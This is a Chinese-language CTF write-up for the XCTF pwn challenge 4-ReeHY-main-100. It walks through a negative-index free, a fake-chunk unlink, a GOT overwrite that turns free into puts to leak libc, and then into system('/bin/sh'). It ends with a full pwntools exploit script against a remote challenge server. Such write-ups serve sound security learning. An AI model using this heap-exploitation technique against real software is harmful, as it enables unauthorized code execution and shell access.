攻防世界 4-ReeHY-main-100

本来想着做2018年的网鼎杯 pwn的,但是就算看了 wp也无法模仿着实现,所以就退而求其次先做一些堆的题吧

18年网鼎杯的pwn有个babyheap,里面用到的unlink我一直不懂,断链是知道咋实现的,但是到底有啥用真是不做题无法体会

然后在攻防世界找了一个pwn题,就是这道题,看了一个肥肠肥肠细致的博主的文章,收获颇多
传送门

下面我就记录一下,题的思路大致和这个博主一样,后面我自己发挥了一下下,做出来很是动

攻防世界 4-ReeHY-main-100_第1张图片
首先堆的题基础的攻击方法就是覆盖got表里面的地址为system,然后执行那个函数之后就 getshell了
这道题RELRO是Partial所以可以写入,
有的时候遇到 Full RELRO的话,就对 malloc_hook 或者 free_hook进行覆盖,(学的太少,目前就见过这个方法)
攻防世界 4-ReeHY-main-100_第2张图片
这是main函数,一开始的400856函数:

攻防世界 4-ReeHY-main-100_第3张图片
这个函数中的 chunk_contentSize (修改过变量名称)是一个指针,指向保存着每个信息content大小的堆块,
(这里遇到一个问题,他申请了0x14,但是我调试的时候他的chunk大小是0x20,也就是只申请了0x10大小,这样按顺序算的话,如果申请了序号为4的堆块的话,也就是在第5个位置如果写入content4的大小,这样会覆盖到下一个堆块的presize上,不过下一个chunk是buf缓冲区,基本没影响做题)

然后申请了0x20大小作为buf的缓冲区,里面储存着你输入的名字

攻防世界 4-ReeHY-main-100_第4张图片
num_of_creating 是创造堆块的次数,最多四次,够用了
LODWORD这个函数是取参数的低16位,下面可以看到content大小不大于4096也就是0x1000,所以是够用的
然后输入content大小,也就是可以写入多少个字节,
然后malloc相应大小的堆块

最后那几行可以看到,它把大小储存在保存大小的堆块里,有相应的偏移
然后申请的用户堆块的指针也根据偏移存在 chunk_got里(自己起的参数名),还有 chunk_flag置为1,意思是在使用
注意:其实这里chunk_got和chunk_flag处于一个结构体中,不过ida好像不识别结构体,其实在内存中应该是这样的
攻防世界 4-ReeHY-main-100_第5张图片
0x10个字节为一组,前八个储存堆块地址,后八个储存标志位

攻防世界 4-ReeHY-main-100_第6张图片
之后是delete函数,这里也是受到前面说的博主的启发,
result是一个有符号的整数,而且也没有规定delete的堆块序号不能为负数
所以我们可以free掉序号为-2的堆块,其实是不存在的。但是根据他找堆快块方法,是以0x6020e0为基准,在这个数上加上偏移,找到堆块地址然后free。所以根据这个原理,释放掉-2序号的堆块,也就是找到了0x6020c0这个地方的堆块,再看这个地址保存的是记录content大小的堆块。把这个堆块free掉,然后申请一个相同大小的堆块,内存中的布局基本是没有变的,但是我们此时可以写入那个保存content大小的堆块,这样我们可以随意篡改content大小,就可以造成堆溢出。

攻防世界 4-ReeHY-main-100_第7张图片
(⬆0x6020e0偏移-2的位置)
攻防世界 4-ReeHY-main-100_第8张图片这是edit函数,就像前面说的,它是从chunk_got里面找到了堆块地址然后进行写入,
在写入之前会检查标志位是否为1,所以堆溢出覆盖的时候要注意标志位

攻防世界 4-ReeHY-main-100_第9张图片
这个程序是没有输出功能的。。。。。

下面就开始想,system没有肯定要泄露一个函数的地址然后根据这个地址计算system函数地址(这道题给了libc,不过我还是习惯上这个网站查传送门,我太懒了)
没有输出函数怎么泄露地址?那只能在puts函数和其他函数的got表上做文章了。
这里就用到 unlink,具体的下面说,unlink之后就可以得到一个地址范围内写的权限

unlink:
unlink是堆的一个机制。smallbins largebins unsortedbins 双链表断链的时候会发生unlink;当释放一段比较大的内存却发现相邻堆块也是空闲的时候,会向前或者向后合并,那此时这个相邻的堆块如果在双链表上也会发生unlink。
设要断链的堆块为P, unlink就是简单的,P->fd->bk = P->bk , P->bk->fd = P->fd
但是,麻烦的就是在锻炼之前要检查一下两个事情
在这里插入图片描述
在这里插入图片描述第一个检查 P->fd->bk ? P , P->bk->fd ? P
第二个检查就是P的size要等于P的next_chunk的pre_size,因为这两个地方都记录着P的大小

unlink利用方法:
我已经知道unlink是通过构造fd和bk指针,绕过第一个检查,从而这个unlink掉的堆块的用户指针被指向了别的地址,也就是我们想要写进的地址(这个思路仅限这个题,其他的利用方法还有很多),,但是我们unlink了也就是堆块进入bins了,我想起这个程序虽然free后没有将指针置为NULL,但是它有flag标志位啊,也就是相当于指针置为NULL,所以我们不能利用UAF。。
那么方法就是构造假的堆块了,我们把这个假的堆块放进真的申请到的堆块里面,再把这个假的堆块unlink掉,让他进入bins,,但是我们对于包含着假堆块的真堆块还是拥有可写权限的,因为系统认为这个真的堆块没有free过,所以flag位一直是1

下面是构造假堆块的过程,
攻防世界 4-ReeHY-main-100_第10张图片至于fake_chunk的fd和bk为什么这样构造
引用开头说到博客的图
攻防世界 4-ReeHY-main-100_第11张图片
攻防世界 4-ReeHY-main-100_第12张图片那这时我们再edit序号为0的chunk,编辑的内容就以0x6020c8为基址写进去了,所以我们可以覆盖掉chunk_got中的各个堆的指针,修改为其他函数的got,
然鹅就算覆盖了got我们还是不能泄露出什么,因为还是没有输出函数,那就把free的got内容写进puts_plt内容,这样调用free的时候就是输出,因为free我们随时可以用,所以这样就非常方便了。(注意是写入puts_plt,而不是puts的got,因为got表只是一个保存函数地址的数组,也就是指针数组,他不是一个函数,向free_got里面写入puts_got没有任何意义。调用free的过程是这样的,调用plt,plt是个小函数,先检查got里面有内容吗?如果内容是零就调用系统函数查找free的真实地址,填入got,然后再次调用plt,检查got里面有内容吗?这回有了,就eip指过去。所以got里面要写上真实的地址给eip用只写进去一个指针肯定是啥用都没有,根本没有函数被调用就返回了。所以这里写入的是puts_plt地址,这是一个可以执行的函数的真实地址,然后通过plt再调用puts)
然后再次free某一个堆块的话,就是输出堆块指针指向的数据。
然后就是常规的,覆盖某个函数的got为system,再找到binsh。。。

#coding:utf-8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

sh = remote("111.198.29.45","57830")
#sh = process('./4-ReeHY-main')

sh.sendafter('$','sy\n')

sh.sendafter('$','1\n') #创造堆快0
sh.sendafter('Input size\n','256\n')
sh.sendafter('Input cun\n','0\n')
sh.sendafter('Input content','0000\n')

sh.sendafter('$','1\n')  #创造堆快1
sh.sendafter('Input size\n','256\n')
sh.sendafter('Input cun\n','1\n')
sh.sendafter('Input content','1111\n')

sh.sendafter('$','2\n')
sh.sendafter('Chose one to dele\n','-2\n')

sh.sendafter('$','1\n')   #这样申请之后,再写进序号为3的堆快,就是写入保存content大小的堆快,可以随意篡改输入大小造成堆溢出
sh.sendafter('Input size\n','20\n')
sh.sendafter('Input cun\n','3\n')
sh.sendafter('Input content','3333\n')

sh.sendafter('$','3\n')  #把chunk0的可写大小改为最大,4096
sh.sendafter('Chose one to edit\n','3\n')
sh.sendafter('Input the content\n',p32(0x1000))

payload = p64(0x0) + p64(0x100+1)+p64(0x6020c8) + p64(0x6020d0)+'A'*(0x100-32)+p64(0x100) +p64(0x110)  #不改chunk1的size的话,size是0x111,表示前一个chunk分配
sh.sendafter('$','3\n')
sh.sendafter('Chose one to edit\n','0\n')
sh.sendafter('Input the content\n',payload)
#gdb.attach(sh)

sh.sendafter('$','2\n')   #unlink
sh.sendafter('Chose one to dele\n','1\n')
#gdb.attach(sh)

puts_got = 0x602020
puts_plt = 0x4006d0
free_got = 0x602018      #把chunk0改为puts_got   chunk1改为free_got   chunk2的指针还改为0x6020e0方便再覆盖一遍
payload = p64(0x0) * 3 + p64(puts_got) + p64(0x1) + p64(free_got) + p64(0x1)+p64(0x6020e0) + p64(0x1)
sh.sendafter('$','3\n')
sh.sendafter('Chose one to edit\n','0\n')
sh.sendafter('Input the content\n',payload)


sh.sendafter('$','3\n')
sh.sendafter('Chose one to edit\n','1\n')  #修改free got里面内容为puts_plt
sh.sendafter('Input the content\n',p64(puts_plt))

sh.sendafter('$','2\n')            #此时的free就是puts,这一步操作意思为 puts(*(puts_got))
sh.sendafter('Chose one to dele\n','0\n')
#gdb.attach(sh)

puts_addr =  u64(sh.recvline()[:-1].ljust(8,'\x00'))
print(hex(puts_addr))
system_addr = puts_addr -0x2a300     #我没用他给的libc文件,我上网查的偏移
bin_sh = puts_addr + 0x11d6c7

sh.sendafter('$','3\n')        #再把free改为system
sh.sendafter('Chose one to edit\n','1\n')
sh.sendafter('Input the content\n',p64(system_addr))

#再覆盖一次,前两项不变,把chunk2内容改为binsh的指针
payload =p64(puts_got) + p64(0x1) + p64(free_got) + p64(0x1)+p64(bin_sh) + p64(0x1)
sh.sendafter('$','3\n')
sh.sendafter('Chose one to edit\n','2\n')
sh.sendafter('Input the content\n',payload)


sh.sendafter('$','2\n')
sh.sendafter('Chose one to dele\n','2\n')   # system('/bin/sh')


sh.interactive()

你可能感兴趣的:(攻防世界 4-ReeHY-main-100)